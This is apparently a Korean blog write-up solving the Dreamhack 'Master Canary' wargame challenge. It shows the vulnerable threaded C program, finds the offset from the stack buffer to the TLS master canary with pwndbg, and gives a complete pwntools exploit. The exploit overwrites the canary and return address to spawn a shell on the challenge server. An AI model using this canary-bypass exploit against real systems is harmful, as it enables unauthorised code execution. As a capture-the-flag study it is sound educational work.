[Dreamhack Wargame] Master Canary

don't panic·2023년 12월 12일
0

System Hacking wargame

목록 보기
18/39

code 분석


#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

지금 thread_routine 함수에서 buf를 원하는 사이즈만큼 변조할 수 있다. 이 함수는 스레드 함수에서 선언되었기 때문에 TLS와 인접한 곳에 buf가 할당되어 있다.
따라서
1. TLS와 buf의 거리 찾기
2. 마스터 카나리 변조
3. RETgive_shell로 바꾸면 될 것이다.

1. TLS와 buf의 offset 찾기

  • 프로세스가 다시 실행되어도 buf와 TLS의 거리는 항상 같다.
  • thread_routine 디스어셈블 결과 buf[rbp-0x110]에 위치한다.
    breakpoint를 잡고 run을 한 후 buf의 위치를 찾는다.
  • 마스터 카나리는 fs_base+0x28에 위치하므로 똑같이 위치를 찾는다.

따라서 buf와 마스터 카나리의 거리는 0x928이다!

pwndbg> p/x 0x7ffff7d89668-0x7ffff7d88d40
$1 = 0x928

2. 마스터 카나리 변조 & RET 변조

나는 마스터 카나리를 'hahahaha'로 바꾸고 싶다.

buf = b'A' * 0x108
buf += b'hahahaha'
buf += b'A' * 0x8
buf += p64(giveshell)
buf += b'A' * (0x928 - len(buf))
buf += b'hahahaha'

3. SIGSEGV 해결...

  • 나는 잘 짰다고 생각했는데 아니라고 한다.

  • Glibc가 2.33 버전에서 2.34 버전으로 업데이트되면서 struct pthread 구조체와 그와 관련 코드가 일부 변화했기 때문이다.

  • 나도 잘 모르겠다... 그냥 fs 부분에서 유효하지 않은 주소를 참조하면서 문제가 생기기 때문에 RW가 가능한 주소를 보내줘여 한다는 거란다...

최종 exploit


from pwn import *

p = remote('host3.dreamhack.games', 15993)
e = ELF('./mc_thread')
giveshell = e.symbols['giveshell']
buf2mc = 0x928

buf = b'A' * 0x108
buf += b'hahahaha'
buf += b'A' * 0x8
buf += p64(giveshell)
buf += b'A' * (buf2mc - len(buf) - 0x18)
buf += p64(0x404f80-0x972)
buf += b'B' * 0x10
buf += b'hahahaha'

p.sendlineafter(b'Size: ', str(len(buf)).encode())
p.sendafter(b'Data: ', buf)

p.interactive()

0개의 댓글